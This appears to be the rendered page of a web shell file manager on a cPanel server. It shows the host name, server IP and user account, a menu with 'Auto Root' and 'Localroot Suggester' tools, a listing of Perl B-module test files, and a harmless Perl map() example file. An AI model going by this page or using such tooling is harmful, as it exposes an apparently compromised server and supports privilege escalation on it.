Linux cpanel2.daytoncreative.net 2.6.32-754.29.2.el6.x86_64 #1 SMP Tue May 12 17:39:04 UTC 2020 x86_64
Apache/2.4.43 (cPanel) OpenSSL/1.1.1g mod_bwlimited/1.4
Server IP : 70.62.220.67 & Your IP : 216.73.216.193
Domains :
Cant Read [ /etc/named.conf ]
User : michaelgreg
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
log /
perl-5.20.2 /
ext /
B /
t /
Delete
Unzip
Name
Size
Permission
Date
Action
OptreeCheck.pm
31.93
KB
-r--r--r--
2014-12-27 11:49
b.t
13.51
KB
-r--r--r--
2014-12-27 11:49
concise-xs.t
11.9
KB
-r--r--r--
2014-12-27 11:49
concise.t
13.9
KB
-r--r--r--
2014-12-27 11:49
f_map
707
B
-r--r--r--
2014-12-27 11:48
f_map.t
14.32
KB
-r--r--r--
2014-12-27 11:49
f_sort
2.43
KB
-r--r--r--
2014-12-27 11:48
f_sort.t
25.32
KB
-r--r--r--
2014-12-27 11:49
o.t
2
KB
-r--r--r--
2014-12-27 11:48
optree_check.t
6.67
KB
-r--r--r--
2014-12-27 11:49
optree_concise.t
14.5
KB
-r--r--r--
2014-12-27 11:49
optree_constants.t
15.5
KB
-r--r--r--
2014-12-27 11:48
optree_misc.t
17.38
KB
-r--r--r--
2014-12-27 11:49
optree_samples.t
22.36
KB
-r--r--r--
2014-12-27 11:49
optree_sort.t
8.05
KB
-r--r--r--
2014-12-27 11:49
optree_specials.t
14.43
KB
-r--r--r--
2014-12-27 11:49
optree_varinit.t
12.02
KB
-r--r--r--
2014-12-27 11:49
pragma.t
2.77
KB
-r--r--r--
2014-12-27 11:48
showlex.t
2.79
KB
-r--r--r--
2014-12-27 11:49
terse.t
2.63
KB
-r--r--r--
2014-12-27 11:48
walkoptree.t
1.98
KB
-r--r--r--
2014-12-27 11:48
xref.t
2.75
KB
-r--r--r--
2014-12-27 11:48
Save
Rename
#!perl # examples shamelessly snatched from perldoc -f map # translates a list of numbers to the corresponding characters. @chars = map(chr, @nums); %hash = map { getkey($_) => $_ } @array; { %hash = (); foreach $_ (@array) { $hash{getkey($_)} = $_; } } #%hash = map { "\L$_", 1 } @array; # perl guesses EXPR. wrong %hash = map { +"\L$_", 1 } @array; # perl guesses BLOCK. right %hash = map { ("\L$_", 1) } @array; # this also works %hash = map { lc($_), 1 } @array; # as does this. %hash = map +( lc($_), 1 ), @array; # this is EXPR and works! %hash = map ( lc($_), 1 ), @array; # evaluates to (1, @array) @hashes = map +{ lc($_), 1 }, @array # EXPR, so needs , at end